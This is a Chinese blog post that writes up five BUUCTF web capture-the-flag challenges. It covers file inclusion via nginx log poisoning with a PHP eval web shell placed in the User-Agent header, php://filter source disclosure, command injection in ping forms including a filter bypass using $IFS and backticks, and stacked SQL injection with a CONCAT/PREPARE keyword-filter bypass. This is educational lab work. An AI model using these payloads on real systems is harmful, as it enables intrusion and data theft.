BUUCTF-WEB(4-8)

Muneyoshi發表於2024-05-18

[ACTF2020 新生賽]Include

開啟題目,是一個超連結,點選後,發現URL發生了變化

image-20240518194207544

可以看出是檔案包含,包含了一個flag.php的檔案

我們試著訪問/etc/passwd

image-20240518194319886

我又試了試偽協議,顯然是被過濾了

image-20240518194418916

然後我們就訪問了一下nginx的日誌,訪問成功

?file=/var/log/nginx/access.log

那我們就是UA頭寫馬吧

<?php @eval($_POST['cmd']);?>

image-20240518194742950

然後我們就用那個nginx日誌的那個URL,然後連線密碼為cmd,去用蟻劍連線一下

image-20240518194950622

連線成功後,在根目錄找到flag,然後得出結論我是傻逼

image-20240518195823025

後來我又看了一下檔案

image-20240518195938744

原來偽協議,還可以用,我們應該用偽協議去看那個flag.php的原始碼

就用php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

就得到原始碼被base64加密後的資料,我們解密一下

image-20240518200254976

終於拿到flag了,我真要哭了

[ACTF2020 新生賽]Exec

這道題熟悉的ping,我們就複習一下命令連線符就行了

Windows和Linux都支援的命令連線符:

cmd1 | cmd2 只執行cmd2

cmd1 || cmd2 只有當cmd1執行失敗後,cmd2才被執行

cmd1 & cmd2 先執行cmd1,不管是否成功,都會執行cmd2

cmd1 && cmd2 先執行cmd1,cmd1執行成功後才執行cmd2,否則不執行cmd2

Linux還支援分號(;),cmd1;cmd2 按順序依次執行,先執行cmd1再執行cmd2

那我們就無需多言,直接戰鬥

127.0.0.1 | whoami

image-20240518200607340

直接拿下flag

127.0.0.1 | cat /flag

image-20240518200703124

[GXYCTF2019]Ping Ping Ping

參考

命令執行漏洞各種繞過方式_命令執行漏洞 變種 繞過-CSDN部落格

命令執行RCE及其繞過詳細總結(各情景下的繞過)_rce反彈shell繞過-CSDN部落格

這道題還是PING,只不過是GET方式傳參

我直接滿心歡喜準備拿下

?ip=127.0.0.1 | ls

他顯然過濾了空格,氣的暴罵我

image-20240518201007722

那我們就繞過空格,我就不用空格了

?ip=127.0.0.1|ls

image-20240518201431858

直接索要flag,這裡我發現了哈,有一些符號他也過濾了,比如小數點,單引號,雙引號,括號,大括號啥的

但是能用的就是

$ - ~ \ `

他直接大罵fxxk

因為反引號可以用,而且ls已經看到了flag.php

payload

?ip=127.0.0.1|cat$IFS`ls`

然後只能回顯index.php的內容,不要懷疑自己,直接看原始碼

image-20240518204024451

[SUCTF 2019]EasySQL

參考

[BUUCTF:SUCTF 2019]EasySQL-CSDN部落格

[buuctf-SUCTF 2019]EasySQL 1(小宇特詳解)-CSDN部落格

這個題目就是我挺雲裡霧裡的(我太菜了),挺多字元都被過濾之後,看到分號,然後就是嘗試堆疊注入

查庫名

1; show databases;

image-20240518213734983

查表名

1;use ctf;show tables;

image-20240518213831595

查列名

1;show columns from Flag;

image-20240518213939742

然後發現查不到

然後大佬們說語句就長這樣(我還是不太理解),可以看一下大佬們的分析

$sql = "select ".$post['query']."||flag from Flag";

然後payload就是

*,1

image-20240518214141932

[強網杯 2019]隨便注

參考:

[強網杯 2019]隨便注 - chalan630 - 部落格園 (cnblogs.com)

我們先判斷這個數字還是字元

?inject=1' and '1'='1 正常回顯
?inject=1' and '1'='2 錯誤回顯

判斷出是字元注入,然後是單引號閉合

?inject=1' order by 2--+
?inject=1' order by 3--+

image-20240518215743829

判斷出是兩個欄位

然後繼續的時候,發現過濾了一些函式

image-20240518220853790

這邊我試了一下,註釋符繞不過去的,所以這裡我想到了堆疊注入,就是上一題學的

查庫名:

?inject=1';show database;#

image-20240518222325910

查表名

?inject=1';show tables;#

image-20240518222346385

查列名

?inject=1';show columns from words;#

image-20240518222722150

?inject=1%27;show%20columns%20from%20`1919810931114514`;#
注意資料表為數字的時候需要用反引號括起來

image-20240518222929043

flag在這個數字這個表

這道題到這裡,我就完全不會了,一點兒都不知道怎麼給flag這個查詢出來

最後的flag的payload為:

-1';
sEt @sql=CONCAT('se','lect * from `1919810931114514`;');
prEpare stmt from @sql;
execute stmt;

image-20240518224909073